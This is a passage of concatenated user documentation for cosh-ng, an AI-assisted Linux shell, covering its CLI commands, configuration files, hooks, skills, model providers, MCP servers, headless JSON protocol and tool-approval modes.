checkpoint restore pre-action --workspace /path/to/workspace cosh-cli checkpoint cleanup --workspace /path/to/workspace ``` Responses use the standard [CoshResponse envelope](../output-format.md). ===== docs/user-guide/en/user-entrypoint/cosh-ng/cli/overview.md ===== # Manage System Operations [中文版](../../../../zh/user-entrypoint/cosh-ng/cli/overview.md) `cosh-cli` gives scripts and Agents one JSON interface for package, service, workspace checkpoint, and audit operations. Every command writes one `CoshResponse` value to stdout and exits with `0` on success or `1` on failure. ## Command domains | Domain | Actions | |---|---| | `pkg` | `install`, `remove`, `search`, `list` | | `svc` | `status`, `start`, `stop`, `restart`, `enable`, `disable`, `list` | | `checkpoint` | `init`, `recover`, `create`, `list`, `restore`, `status`, `delete`, `diff`, `cleanup` | | `audit` | `check`, `log`, `status`, `events`, `trace`, `export`, `prune`, `policy` | Use `cosh-cli --help` and `cosh-cli --help` for the exact arguments and defaults. ## Safe first commands Read-only examples: ```bash cosh-cli pkg search 'web*' cosh-cli pkg list --installed cosh-cli svc status nginx cosh-cli svc list --state running cosh-cli audit status ``` Preview package and service changes before executing them: ```bash cosh-cli pkg install nginx --dry-run cosh-cli svc restart nginx --dry-run ``` `--dry-run` belongs to the action. Package `install` and `remove`, and service `start`, `stop`, `restart`, `enable`, and `disable` support it. Checkpoint mutations do not; `audit prune` accepts only `--dry-run` in version 1. Package and service mutations normally need root privileges. Service operations require Linux systemd. Checkpoint operations require a running `ws-ckpt` daemon and an existing workspace for commands whose `--workspace` is required. ## Use from scripts and Agents 1. Parse stdout as one JSON value. 2. Check `ok`; do not infer success from text output. 3. On failure, use `error.recoverable` to decide whether a retry is useful and `error.hint` for the next action. 4. Check `meta.dry_run` before assuming a mutation happened. 5. Keep stderr separate from stdout; stdout is the automation contract. See [Output format](../output-format.md) for the envelope and [Package management](package-management.md), [Service management](service-management.md), [Workspace checkpoints](checkpoint.md), and [Security audit](audit.md) for each domain. ===== docs/user-guide/en/user-entrypoint/cosh-ng/cli/package-management.md ===== # Package Management [中文版](../../../../zh/user-entrypoint/cosh-ng/cli/package-management.md) `cosh-cli pkg` provides structured package operations. It routes to dnf, apt, zypper, or Homebrew according to the detected platform and returns the common JSON envelope. ## Commands | Command | Purpose | |---|---| | `cosh-cli pkg install ` | Install a package | | `cosh-cli pkg remove ` | Remove a package | | `cosh-cli pkg search ` | Search package names | | `cosh-cli pkg list --installed` | List installed packages | ## Install or remove Preview a change before executing it: ```bash cosh-cli pkg install nginx --dry-run cosh-cli pkg remove nginx --dry-run ``` Run without `--dry-run` to apply the change. Package operations normally need root privileges. An install that finds the package already present still returns success and marks `already_installed` in the response. ## Search The query is passed as one argument and uses a portable package-name pattern. The accepted pattern characters are package-name characters plus `*`, `?`, `[` and `]`: ```bash cosh-cli pkg search 'libssl*' cosh-cli pkg search 'python3-?' cosh-cli pkg search 'lib[0-9]*' ``` Backend-specific regular expressions, shell metacharacters, an empty query, and a query beginning with `-` are rejected. `cosh-cli` keeps whole-package-name matching consistent across supported backends. ## List and errors `list --installed` returns package names and versions. Search results also report whether each package is installed; a search result may omit its version, and a package listing may omit architecture or repository when the backend does not provide them. Common failures are `PkgNotFound`, `PkgBackendError`, `UnsupportedDistro`, and `PermissionDenied`. Use `error.hint` in the response for the suggested next step. See [Supported platforms](../supported-distros.md) for routing details and [Output format](../output-format.md) for the response envelope. ===== docs/user-guide/en/user-entrypoint/cosh-ng/cli/service-management.md ===== # Service Management [中文版](../../../../zh/user-entrypoint/cosh-ng/cli/service-management.md) `cosh-cli svc` manages Linux systemd services and returns structured JSON instead of parsing human-readable `systemctl` output. Service commands require systemd; mutating commands normally need root privileges. ## Commands | Command | Purpose | |---|---| | `cosh-cli svc status ` | Show service status | | `cosh-cli svc start ` | Start a service | | `cosh-cli svc stop ` | Stop a service | | `cosh-cli svc restart ` | Restart a service | | `cosh-cli svc enable ` | Enable start at boot | | `cosh-cli svc disable ` | Disable start at boot | | `cosh-cli svc list` | List services | ## Inspect a service ```bash cosh-cli svc status nginx cosh-cli svc list cosh-cli svc list --state running cosh-cli svc list --state failed ``` `status` and `list` return fields such as active/enabled state, PID, uptime, memory, description, and recent logs when the system provides them. See [Output format](../output-format.md) for the response envelope. ## Change a service Preview a state change first: ```bash cosh-cli svc restart nginx --dry-run cosh-cli svc enable nginx --dry-run ``` The same `--dry-run` flag is available on `start`, `stop`, `restart`, `enable`, and `disable`. Remove it to execute the operation. ## States and errors The `state` field can be `Running`, `Stopped`, `Failed`, `Activating`, `Deactivating`, or an `Unknown` value supplied by systemd. Common failures are `SvcNotFound`, `SvcStartFailed`, `SvcStopFailed`, `UnsupportedDistro`, and `PermissionDenied`; use `error.hint` for recovery guidance. ===== docs/user-guide/en/user-entrypoint/cosh-ng/configuration.md ===== # cosh-ng configuration [中文版](../../../zh/user-entrypoint/cosh-ng/configuration.md) Start with the defaults. Use `/auth`, `/mode`, and `/config language` for interactive changes; edit TOML when settings must persist or be shared. ## Files and authority | File | Read by | Scope | |---|---|---| | `/etc/copilot-shell/config.toml` | `cosh-core` and audit | Administrator defaults | | `~/.copilot-shell/config.toml` | `cosh-core` and `cosh-shell` | User settings | | `/.copilot-shell/config.toml` | `cosh-core` | Project runtime preferences | Core layers files in system → user → project order. Project config may set Agent, Hook, Skill, session, `active_model`, and output-language preferences, but `active_provider`, provider definitions, MCP servers, and project audit settings are ignored. Project Hooks still require `/hooks trust-project` in the interactive shell. `cosh-shell` reads the user file, not the system or project file. ## Minimal user configuration ```toml [ai] active_provider = "dashscope" active_model = "qwen3.7-plus" output_language = "en" [ai.providers.dashscope] type = "dashscope" base_url = "https://dashscope.aliyuncs.com/compatible-mode/v1" api_key = "${DASHSCOPE_API_KEY}" model = "qwen3.7-plus" [agent] approval_mode = "balanced" max_turns = 50 max_tool_calls_per_turn = 10 [skills] custom_paths = ["~/team-skills"] [session] auto_persist = true persist_dir = "~/.copilot-shell/cosh-core/sessions" [logging] level = "warn" [ui] language = "auto" log_level = "warn" [shell] default = "auto" adapter_default = "cosh-core" analysis_mode = "smart" approval_mode = "auto" ``` Use environment expansion or `/auth` instead of writing a raw secret into TOML. See [Providers](core/providers.md) for provider choices. ## Approval and turn budgets Core approval modes apply to direct integrations: | Mode | ReadOnly | FileEdit | Shell, network, MCP, external | |---|---|---|---| | `trust` | Run | Run | Run | | `auto` | Run | Run | Ask | | `balanced`, `suggest`, `strict` | Run | Ask | Ask | The shell exposes `recommend`, `auto`, and `trust`; `recommend` uses strict Core behavior. `agent.max_turns` limits one Agent request (default `50`), while `max_tool_calls_per_turn` defaults to `10`. A new prompt starts a fresh turn budget. ## Sessions and compaction ```toml [session] auto_persist = true persist_dir = "~/.copilot-shell/cosh-core/sessions" [session.compaction] enabled = true auto = true trigger_ratio = 0.70 emergency_ratio = 0.90 target_ratio = 0.30 preserve_recent_runs = 2 # auto_compact_token_limit = 89600 # model_context_window = 128000 # model_max_output_tokens = 8192 ``` Keep `target_ratio <= trigger_ratio <= emergency_ratio`. Compaction changes only the model-visible history; the persisted transcript remains complete. Set `auto_persist = false` to disable resumability for the process. ## MCP and other optional sections Define MCP clients only in system or user config. Each server uses one of `command` (stdio) or `url` (Streamable HTTP); `allowed_tools` omitted means all, while `[]` means none. Follow [Connect an MCP server](mcp.md) for examples, OAuth, and lifecycle commands. For shell recommendations and health checks, add only what you need: ```toml [shell.recommendations] enabled = true bash_history = false [health] enabled = true role = "web-server" critical_mounts = ["/", "/var"] [[health.services]] name = "nginx" expected = "active" ``` `analysis_mode` accepts `smart`, `auto`, or `manual`; shell approval accepts `recommend`, `auto`, or `trust`. `health.services.expected` accepts `active` or `inactive`. ## Audit settings Audit settings come from the system file when it has an `[audit]` table; otherwise the user table is used. Project audit tables are ignored. ```toml [audit] mode = "best_effort" # best_effort | required retention_days = 30 max_disk_bytes = 1073741824 ``` `retention_days` and `max_disk_bytes` must be greater than zero. The storage root is `$XDG_STATE_HOME/cosh/audit` or `~/.local/state/cosh/audit`; set `COSH_AUDIT_DIR` to an absolute path to override it. ## Environment overrides | Variables | Effect | |---|---| | `COSH_AI_PROVIDER`, `COSH_MODEL`, `COSH_OUTPUT_LANGUAGE` | Core provider, model, and response language | | `COSH_APPROVAL_MODE`, `COSH_MAX_TURNS` | Core approval and per-request turn budget | | `DASHSCOPE_API_KEY`, `OPENAI_API_KEY`, `OPENAI_BASE_URL` | OpenAI-compatible credentials and URL fallbacks | | `ALIBABA_CLOUD_ACCESS_KEY_ID`, `ALIBABA_CLOUD_ACCESS_KEY_SECRET`, `ALIBABA_CLOUD_SECURITY_TOKEN` | Aliyun credential fallbacks | | `COSH_SHELL_DEFAULT_SHELL`, `COSH_SHELL_ADAPTER`, `COSH_SHELL_ANALYSIS_MODE`, `COSH_SHELL_APPROVAL_MODE` | Interactive shell choices | | `COSH_SHELL_LANG`, `COSH_SHELL_AI`, `COSH_SHELL_INPUT_WAIT_TIMEOUT_SECS` | Shell language, AI toggle, and input-wait timeout | | `COSH_RECOMMENDATIONS_BASH_HISTORY` | Opt in to Bash-history recommendations | | `COSH_LOG`, `RUST_LOG` | Log filtering (`COSH_LOG` wins) | | `COSH_AUDIT_DIR` | Audit storage root | Environment values take precedence when the relevant binary supports them. Logs rotate daily under `~/.copilot-shell/logs/` and old files are kept for seven days. ===== docs/user-guide/en/user-entrypoint/cosh-ng/core/extensions.md ===== # Extensions [中文版](../../../../zh/user-entrypoint/cosh-ng/core/extensions.md) An Extension packages reusable capabilities such as Skills, Hooks, MCP servers, settings, context, or Agent definitions. Install only Extensions you trust because they can add executable commands and external tools. ## Install or link an Extension Run these commands at the `cosh` prompt: ```text /extensions list /extensions info /extensions doctor [name] /extensions install ./extension /extensions install https://example.com/extension.git --ref main /extensions link ./extension /extensions update /extensions update --all /extensions uninstall ``` `install` copies a package into the managed user store. `link` keeps using the local directory, which is useful while developing. HTTPS Git sources may use `--ref`. Run `/extensions help` for the installed version's syntax. ## Review and activate changes Operations that add or change executable capabilities may wait for consent: ```text /extensions operation /extensions consent /extensions cancel ``` Inspect the source and capability diff before consenting. Use `/extensions enable `, `/extensions disable `, and `/extensions reload` to control an installed package. If the same Extension is found in system and user stores, choose one explicitly: ```text /extensions select-source user /extensions select-source system ``` ## Extension settings ```text /extensions settings list [--scope user|workspace] /extensions settings get [--scope user|workspace] /extensions settings set --scope user /extensions settings unset --scope workspace ``` Sensitive settings use the operating-system secret store and display as `[redacted]`; they cannot use workspace scope. Workspace settings require a trusted project. ## Create a scaffold Extension authors can create a starter package and validate it: ```text /extensions new --template minimal /extensions doctor ``` Templates include `minimal`, `skill`, `hook`, `mcp`, `context`, and `agent`. Extension Hooks and tools follow the same approval rules as configured Hooks and MCP servers. ===== docs/user-guide/en/user-entrypoint/cosh-ng/core/headless-mode.md ===== # Headless mode [中文版](../../../../zh/user-entrypoint/cosh-ng/core/headless-mode.md) Headless mode is a line-delimited JSON protocol on stdin/stdout. Use the one-shot form for scripts and the long-running form for a frontend adapter. ## One-shot prompt ```bash cosh-core --headless "Check disk usage; do not modify anything" ``` Core streams events, writes an `assistant` message, and finishes with a `result` object. Use `--model`, `--approval-mode`, `--tools`, or `--allowed-tools` when the script needs different settings. ## Long-running client Start the process and send one JSON object per line: ```bash cosh-core --headless ``` ```json {"type":"control_request","request_id":"init-1","request":{"subtype":"initialize"}} {"type":"user","message":{"role":"user","content":"List files in current directory"}} ``` The first response is an initialization acknowledgement followed by a system summary: ```json {"type":"control_response","response":{"subtype":"success","request_id":"init-1","response":{"subtype":"initialize","capabilities":{...}}}} {"type":"system","subtype":"init","session_id":"...","session_resumable":true,"model":"...","tools":[...]} ``` Keep the `session_id` only when `session_resumable` is `true`. A client should read `stream_event` lines until the message stops, then consume the final `assistant` and `result` messages. ## Control requests Core may pause for a tool decision or user input. Reply with the same request ID and a `control_response`: ```json {"type":"control_request","request_id":"req-1","request":{"subtype":"can_use_tool","tool_name":"shell","input":{"command":"df -h"},"tool_use_id":"toolu-1"}} {"type":"control_response","response":{"subtype":"success","request_id":"req-1","response":{"behavior":"allow","toolUseID":"toolu-1"}}} ``` Other Core requests include `ask_user`, `auth_required`, and the optional `shell_evidence` request. A frontend can interrupt or stop the process with: ```json {"type":"control_request","request_id":"stop-1","request":{"subtype":"shutdown"}} ``` If credentials are missing, answer `auth_required` with the selected `provider_id`, its `values`, and `persist` according to the provider form. See [Providers](providers.md) for the available choices. ## Resume or compact a session ```bash cosh-core --headless --resume cosh-core --headless --resume --compact ``` The ID is workspace-scoped. The workspace is the current directory unless the frontend passes `--workspace `. Set `session.auto_persist = false` to keep history only in memory; such a session is not resumable. ## Results and errors Successful turns end with a result like: ```json {"type":"result","subtype":"success","is_error":false,"result":"completed","session_id":"...","duration_ms":1234} ``` Failures use `is_error: true` and include `errors`; session load and persistence failures also include `session_error_code` and `session_error_phase`. Invalid JSONL input produces an error result and exits with a non-zero status. Keep stdout reserved for protocol messages; diagnostics are logged separately. For the complete schema, see the developer [IPC protocol reference](../../../../../developer-guide/en/cosh-ng/ipc-protocol.md). ===== docs/user-guide/en/user-entrypoint/cosh-ng/core/hooks.md ===== # Hooks [中文版](../../../../zh/user-entrypoint/cosh-ng/core/hooks.md) Hooks run a command around an Agent event. Use them for policy checks, notifications, or extra context, and enable them only from a source you trust. ## Enable and manage Hooks Define them in `~/.copilot-shell/config.toml` or a trusted project config: ```toml [hooks] enabled = true [[hooks.PreToolUse]] name = "security-check" command = "/usr/local/bin/my-security-hook" matcher = "shell" timeout = 60000 ``` In the interactive terminal: ```text /hooks /hooks history /hooks trust-project /hooks enable /hooks disable ``` Project Hooks do not run until the project root is trusted. Use `/hooks untrust-project` to remove that trust. Shell Hook state is session-local; Agent Hook state is persisted by the registry. ## Event names | Event | When it runs | Can block? | |---|---|---| | `PreToolUse` | Before a tool call | Yes | | `PostToolUse` | After a successful tool call | Yes | | `PostToolUseFailure` | After a failed tool call | No | | `UserPromptSubmit` | When a prompt is submitted | Yes | | `SessionStart` | After session initialization | No | | `Stop` | When the Agent stops | Yes | | `BeforeModel` / `AfterModel` | Around a model request | No | Use `matcher` to limit tool events. Hook commands receive one JSON object on stdin. The object includes `hook_event_name`, `session_id`, `cwd`, and event data such as `tool_name` and `tool_input`. ## Return a decision Write one JSON object to stdout: ```json { "decision": "block", "reason": "Dangerous command", "systemMessage": "Command blocked by security policy" } ``` `allow` continues, `block`/`deny` stops the operation, `ask` requests user confirmation, and an empty response passes through. Exit code `2` also blocks; other non-zero exits are warnings. The default timeout is 60 seconds; set a shorter `timeout` when a check must be quick. Use `sequential = true` when multiple Hooks for an event must run in order. ## Add context or child-process variables `hookSpecificOutput.additional_context` adds text to the Agent context. An `env` map is injected into the Hook child only: ```toml [[hooks.SessionStart]] name = "load-context" command = "/usr/local/bin/load-context" env = { TEAM = "platform" } ``` The host process is not changed. Environment names must match `[A-Za-z_][A-Za-z0-9_]*`; values are not printed. Extension Hooks use the same config and protocol; see [Extensions](extensions.md). ===== docs/user-guide/en/user-entrypoint/cosh-ng/core/overview.md ===== # Integrate another frontend [中文版](../../../../zh/user-entrypoint/cosh-ng/core/overview.md) `cosh-core` runs an Agent without the interactive terminal UI. Start `cosh` for normal terminal use; call `cosh-core` directly when another frontend needs a JSONL process, a one-shot prompt, or session management. ## Start a core process ```bash # One prompt, then exit cosh-core --headless "Inspect disk usage; do not modify anything" # Long-running JSONL process cosh-core --headless # Resume or compact a saved conversation cosh-core --headless --resume cosh-core --headless --resume --compact # Handle one provider-free registry request from stdin cosh-core --registry ``` When stdin is not a TTY, `cosh-core` selects headless mode automatically. In headless and registry modes, stdout is JSONL protocol output; logs go to the configured log file or stderr. ## Options used by integrations | Option | Use | |---|---| | `--model ` | Override the configured model for this process | | `--approval-mode ` | Select `trust`, `auto`, `balanced`, or `strict` | | `--allowed-tools ` | Let exact tool names bypass approval | | `--tools ` | Expose `default`, `empty`, or a comma-separated subset | | `--bare` | Ignore project config, Hooks, Skills, Extensions, and persistence | | `--resume ` | Select a saved conversation for the current workspace | | `--compact` | Compact the selected conversation and exit | | `--enable-shell-evidence-tool` | Expose bounded terminal evidence to cosh-shell | `--tools` controls what the model can see. `--allowed-tools` changes the approval boundary; allow-listing a tool can grant real execution authority. ## Connect a frontend 1. Start `cosh-core --headless` and keep stdin/stdout open. 2. Send a `control_request` with `subtype: "initialize"`, then send `user` messages as JSON objects, one per line. 3. Read streamed output and answer Core `control_request` messages with the same request ID. A client must handle tool approval, user questions, and authentication when they occur. 4. Send `subtype: "shutdown"` when the frontend is done. See [Headless mode](headless-mode.md) for message examples and [the IPC protocol reference](../../../../../developer-guide/en/cosh-ng/ipc-protocol.md) for the complete schema. Configure credentials in [Providers](providers.md), and see [Configuration](../configuration.md) for workspace and persistence settings. ===== docs/user-guide/en/user-entrypoint/cosh-ng/core/providers.md ===== # Model providers and authentication [中文版](../../../../zh/user-entrypoint/cosh-ng/core/providers.md) Use `/auth` in the interactive terminal. For a managed or headless setup, define the provider in the system or user config file; project config cannot add credentials or provider definitions. ## Choose a provider interactively ```text /auth ``` The picker offers Aliyun AK/SK, DashScope, OpenAI-compatible, Coding Plan, and Token Plan profiles. Built-in plan endpoints use the China catalog by default. Choose the international catalog before starting `cosh` when needed: ```bash COSH_SERVICE_SITE=international cosh ``` `china`/`cn` and `international`/`intl`/`global` are accepted values. This only changes built-in plan endpoints; it does not rewrite a saved custom URL. ## Configure a provider Put this example in `~/.copilot-shell/config.toml` (or the administrator file `/etc/copilot-shell/config.toml`) and export the key in the environment: ```toml [ai] active_provider = "dashscope" active_model = "qwen3.7-plus" [ai.providers.dashscope] type = "dashscope" base_url = "https://dashscope.aliyuncs.com/compatible-mode/v1" api_key = "${DASHSCOPE_API_KEY}" model = "qwen3.7-plus" ``` Other common profiles use the same shape: ```toml [ai.providers.openai] type = "openai" base_url = "https://api.openai.com/v1" api_key = "${OPENAI_API_KEY}" model = "gpt-4o" [ai.providers.deepseek] type = "deepseek" base_url = "https://api.deepseek.com/v1" api_key = "${DEEPSEEK_API_KEY}" model = "deepseek-chat" [ai.providers.aliyun] type = "aliyun" access_key_id = "${ALIBABA_CLOUD_ACCESS_KEY_ID}" access_key_secret = "${ALIBABA_CLOUD_ACCESS_KEY_SECRET}" security_token = "${ALIBABA_CLOUD_SECURITY_TOKEN}" model = "qwen3.7-plus" ``` For an ECS RAM role, use `type = "aliyun"` with `auth_source = "ecs_ram_role"`; static AK/SK values are then unnecessary. | `type` | Use | |---|---| | `dashscope` | DashScope OpenAI-compatible endpoint with Qwen reasoning support | | `openai` | OpenAI request conventions, including `max_completion_tokens` | | `deepseek` | OpenAI-compatible endpoint with reasoning-content support | | `aliyun` | Alibaba Cloud SysOM with AK/SK or ECS RAM role | | any other value | Generic OpenAI-compatible behavior | Set `explicit_cache = true` only for DashScope when you want explicit cache markers. Leave it unset or `false` for the default behavior. ## Precedence and missing credentials The active provider and model are resolved in this order: configuration layers, then `COSH_AI_PROVIDER`/`COSH_MODEL`/`COSH_OUTPUT_LANGUAGE`, then provider fields and their environment fallbacks. `--model ` overrides only the model; use `COSH_AI_PROVIDER` or `active_provider` to switch providers. | Variable | Fallback | |---|---| | `OPENAI_BASE_URL` | OpenAI-compatible base URL | | `DASHSCOPE_API_KEY`, then `OPENAI_API_KEY` | API-key providers | | `ALIBABA_CLOUD_ACCESS_KEY_ID`, `ALIBABA_CLOUD_ACCESS_KEY_SECRET`, `ALIBABA_CLOUD_SECURITY_TOKEN` | Aliyun credentials | If a key is missing, interactive Core asks for authentication. A standalone headless client must answer that control request or configure credentials before startup. See [Configuration](../configuration.md) for file-layer rules and [Headless mode](headless-mode.md) for the control protocol. ===== docs/user-guide/en/user-entrypoint/cosh-ng/core/skills.md ===== # Skills [中文版](../../../../zh/user-entrypoint/cosh-ng/core/skills.md) Skills are reusable instructions for recurring operating tasks. Add a Skill, then let the Agent load it when the task matches. ## Manage Skills in cosh ```text /skills /skills detail /skills enable /skills disable ``` Use `detail` to check which source won when names collide. Disabled Skills are not offered to the Agent. ## Where Skills are loaded The first matching name wins, in this order: 1. `/.copilot-shell/skills/` 2. Paths in `skills.custom_paths` 3. `~/.copilot-shell/skills/` 4. Skill directories from Extensions 5. `/usr/share/anolisa/skills/` Existing directories are watched and rescanned after changes. ## Create a Skill The preferred layout is `/SKILL.md`; a flat `.md` file is also supported. ```markdown --- name: service-health description: Inspect a systemd service and summarize actionable evidence allowedTools: - shell --- # Service health Inspect status and recent logs before proposing a change. Ask for approval before restarting the service. ``` `name` and `description` are required. `allowedTools` is optional and may be a YAML list or a comma-separated string. ## Add shared directories Use `skills.custom_paths` to search team-maintained directories without copying their files: ```toml [skills] custom_paths = ["~/team-skills", "/opt/company/skills"] ``` Paths expand `~`, `${VAR}`, and `$VAR`. Project paths are relative to the workspace where Core starts. ===== docs/user-guide/en/user-entrypoint/cosh-ng/core/tools.md ===== # Agent tools [中文版](../../../../zh/user-entrypoint/cosh-ng/core/tools.md) The model can use a bounded set of built-in tools. Approval mode, explicit allow-lists, and Hooks still decide whether a call runs. ## Built-in tools | Kind | Tools | Typical use | |---|---|---| | ReadOnly | `read_file`, `read_many_files`, `grep`, `glob`, `list_directory` | Inspect files and paths | | FileEdit | `edit`, `write_file`, `save_memory` | Change files or save a memory | | ShellExec | `shell` | Run a shell command | | Network | `web_fetch` | Fetch an HTTP resource | | Other | `skill`, `todo`, `ask_user_question` | Reuse instructions, track work, ask the user | `cosh_shell_evidence` is available only when Core starts with `--enable-shell-evidence-tool`. Connected MCP tools use names such as `mcp____`; Extensions may add their own external names. ## Approval choices | Core mode | ReadOnly | FileEdit | Shell, network, MCP, external | |---|---|---|---| | `trust` | Run | Run | Run | | `auto` | Run | Run | Ask | | `balanced`, `suggest`, `strict` | Run | Ask | Ask | Unknown tool names are denied. The interactive shell maps `recommend` to strict approval, `auto` to auto, and `trust` to trust. ## Limit what the model sees Use `--tools` for exposure and `--allowed-tools` only for exact names that should bypass approval: ```bash cosh-core --headless --tools read_file,grep,ask_user_question cosh-core --headless --tools empty cosh-core --headless --allowed-tools mcp__search__query ``` Allow-listing `shell`, a network tool, or an external tool grants real authority. Keep the list as narrow as the task requires. ## Workspace and output limits File-reading tools are rooted in the workspace captured when Core starts. A later shell `cd` does not change that boundary, and paths that escape it are rejected. Search results are bounded and report truncation when they are not complete. MCP output entering Agent context is limited to 64 KiB. See [MCP setup](../mcp.md) for external tools and [Extensions](extensions.md) for extension-provided tools. ===== docs/user-guide/en/user-entrypoint/cosh-ng/mcp.md ===== # Connect an MCP server [中文版](../../../zh/user-entrypoint/cosh-ng/mcp.md) MCP servers add tools from a local process or a remote Streamable HTTP service. Configure them once, connect them from `cosh`, then inspect the names before asking the Agent to use them. ## Configure a local stdio server Put server definitions in `~/.copilot-shell/config.toml` or `/etc/copilot-shell/config.toml`. Project config cannot add an MCP server. ```toml [mcp.servers.filesystem] command = "npx" args = ["-y", "@modelcontextprotocol/server-filesystem", "/absolute/path/to/workspace"] startup_timeout_ms = 30000 timeout_ms = 10000 allowed_tools = ["read_file", "list_directory"] ``` The command is started directly, not through the interactive Shell. Add child environment variables explicitly: ```toml [mcp.servers.filesystem.env] SERVICE_TOKEN = "${FILESYSTEM_MCP_TOKEN}" ``` `allowed_tools` may list discovered tool names; omit it to expose all tools or set `[]` to expose none. ## Configure a remote server Use `url` instead of `command` for a Streamable HTTP endpoint: ```toml [mcp.servers.search] url = "https://mcp.example.com/mcp" allowed_tools = ["query"] [mcp.servers.search.oauth] scopes = ["search"] ``` For a static token, remove the OAuth table and set: ```toml bearer_token = "${SEARCH_MCP_TOKEN}" ``` Use HTTPS for remote endpoints. HTTP is accepted only for loopback hosts such as `localhost`, `127.0.0.1`, or `::1`. A server must define exactly one of `command` and `url`. ## Connect and inspect Start `cosh` in the workspace the server should receive, then run: ```text /mcp list /mcp connect filesystem /mcp inspect filesystem ``` `list` confirms the definition was loaded. `connect` starts or contacts the server and discovers tools. `inspect` shows the discovered and Agent-visible names without printing credentials. MCP tools are exposed as `mcp____` and remain subject to approval. For OAuth, run the login command in a Shell (the interactive `/mcp login` command prints this instruction): ```bash cosh-core mcp login search ``` Finish the browser flow, then connect and inspect the server from `cosh`. ## Refresh or disconnect ```text /mcp refresh filesystem /mcp disconnect filesystem /mcp logout search ``` `refresh` rediscovers tools. `disconnect` disables startup connection and removes saved OAuth credentials; `connect` enables it again. `logout` removes OAuth credentials without changing the definition. Changes take effect for the next Agent task when a task is already running. ## Troubleshoot | Symptom | Check | |---|---| | `/mcp list` is empty | Use system or user config, not project config | | Local server will not start | Check executable, arguments, `env`, and `startup_timeout_ms` | | Connected server exposes no tools | Check `allowed_tools` (`[]` exposes none) | | Remote endpoint is rejected | Use HTTPS, or HTTP only on loopback; check token/OAuth settings | | OAuth login cannot start in `cosh` | Run `cosh-core mcp login ` in a Shell, then connect | MCP output entering Agent context is limited to 64 KiB. ===== docs/user-guide/en/user-entrypoint/cosh-ng/output-format.md ===== # CLI Output Format [中文版](../../../zh/user-entrypoint/cosh-ng/output-format.md) Each parsed `cosh-cli` action returns a JSON envelope. Parse the envelope first, then handle the operation-specific `data` or `error` object. ## Success ```json { "ok": true, "data": { "packages": [] }, "meta": { "subsystem": "pkg", "duration_ms": 342, "distro": "alinux", "dry_run": false } } ``` ## Failure ```json { "ok": false, "error": { "code": "PkgNotFound", "message": "package 'nginx-extra' not found", "recoverable": false, "hint": "Try 'cosh pkg search nginx' to check availability", "subsystem": "pkg" }, "meta": { "subsystem": "pkg", "duration_ms": 120, "distro": "ubuntu", "dry_run": false } } ``` ## Fields | Field | Meaning | |---|---| | `ok` | `true` for success, `false` for failure. | | `data` | Operation result; present on success. | | `error` | Failure details: `code`, `message`, `recoverable`, optional `hint` and `details`, and `subsystem`. | | `meta.subsystem` | `pkg`, `svc`, `checkpoint`, or `audit`. | | `meta.duration_ms` | Elapsed operation time in milliseconds. | | `meta.distro` | Detected platform ID when available. | | `meta.dry_run` | `true` means the operation was previewed, not applied. | | `meta.warning` | Optional warning accompanying the result. | Error codes are stable strings such as `PkgNotFound`, `UnsupportedDistro`, `SvcNotFound`, `CheckpointNotFound`, `AuditDenied`, `Timeout`, and `PermissionDenied`; use `error.code` and `error.hint` instead of parsing the message. ## Exit codes and Agent handling - Exit code `0` means `ok: true`; exit code `1` means `ok: false`. - For a failure, inspect `error.recoverable` before retrying and show `error.hint` when present. - When `meta.dry_run` is `true`, report the preview without claiming that the host changed. ===== docs/user-guide/en/user-entrypoint/cosh-ng/shell/ai-analysis.md ===== # AI Analysis [中文版](../../../../zh/user-entrypoint/cosh-ng/shell/ai-analysis.md) cosh can review command failures and useful diagnostic output, then suggest a next step or start an Agent analysis. The analysis mode controls proactive help; an explicit Agent request is still available in every mode. ## Choose a mode Set the mode at runtime with `/mode analysis ` or in `shell.analysis_mode`. | Mode | Behavior | |------|----------| | `smart` | Default. Evaluate failures and diagnostic output, then show useful insights for review. | | `auto` | Automatically start analysis only for a narrow set of high-confidence failures; other cases remain suggestions. | | `manual` | Disable proactive suggestions, failure insights, automatic analysis, and personalized prompt recommendations. Request analysis explicitly when needed. | Examples: ```text /mode analysis smart /mode analysis auto /mode analysis manual ``` ## What to expect - A failed command does not always start an Agent request. cosh first checks whether the failure is actionable and the available evidence is reliable. - A suggestion or action card lets you decide whether to analyze; choose **Skip** to leave the command result unchanged. - Analysis uses the command, exit status, and a bounded output excerpt. The result is streamed in the terminal. - Press `Ctrl+C` to cancel an analysis that is in progress. Configure the default mode with: ```toml [shell] analysis_mode = "smart" ``` See [Interactive commands](interactive-mode.md) for the other slash commands and [Configuration](../configuration.md) for environment overrides. ===== docs/user-guide/en/user-entrypoint/cosh-ng/shell/approval.md ===== # Tool Approval [中文版](../../../../zh/user-entrypoint/cosh-ng/shell/approval.md) cosh may show an approval card before an Agent uses a guarded tool. Review the tool, its input, the risk, and any Hook warning before allowing the action. ## Choose an approval mode Switch with `/mode approval ` or set `shell.approval_mode`. | Mode | Behavior | |------|----------| | `recommend` | Explain and suggest only; no tool calls are emitted. | | `auto` | Default. Eligible read-only or low-risk tools can run automatically; risky, guarded, or external work asks first. | | `trust` | Provider tool requests run automatically for this session after explicit confirmation. | Enable trust mode with a second confirmation: ```text /mode approval trust confirm ``` Trust mode is not a blanket bypass. Irrecoverable system-control commands such as `reboot`, `shutdown`, and `halt` still require an approval card, and high-risk requests cannot create a persistent trust key. ## Read and answer a card Check the tool name, input preview, risk, and Hook warnings. Choose **Approve** or **Deny**; use **Details** when the preview is shortened. If requests are queued, the card shows the queue position. When you approve a `shell` tool, cosh runs the command in the foreground bash or zsh. Its output and interactive prompts stay visible, and `Ctrl+C` can interrupt it. Approved foreground commands run one at a time. If an approved command waits for password input, a pager, or plain terminal input, cosh can show a hint and interrupt it after 120 seconds by default. Set `shell.input_wait_timeout_secs = 0` to disable this timeout. Fullscreen TUIs and pipeline reads are exempt. Approval decisions are kept in the runtime journal. When audit logging is enabled, a redacted copy is also available in the audit timeline; see the [audit guide](../cli/audit.md). ## Configuration ```toml [shell] approval_mode = "auto" trusted_commands = ["ls", "cat", "echo"] input_wait_timeout_secs = 120 ``` `trusted_commands` matches exact trust keys, not arbitrary command substrings, and does not override the irrecoverable-command gate. See [Configuration](../configuration.md) for environment overrides. ===== docs/user-guide/en/user-entrypoint/cosh-ng/shell/interactive-mode.md ===== # Interactive Commands [中文版](../../../../zh/user-entrypoint/cosh-ng/shell/interactive-mode.md) Use this page to start `cosh` and control a running session. Run `/help` to see the exact commands supported by the installed version. ## Start `cosh` | Command | Use | |---|---| | `cosh` | Start the configured bash or zsh and Agent adapter. | | `cosh --shell zsh` | Select zsh explicitly. | | `cosh --isolated` | Skip user rcfiles. | | `cosh --login` | Start a login shell. | | 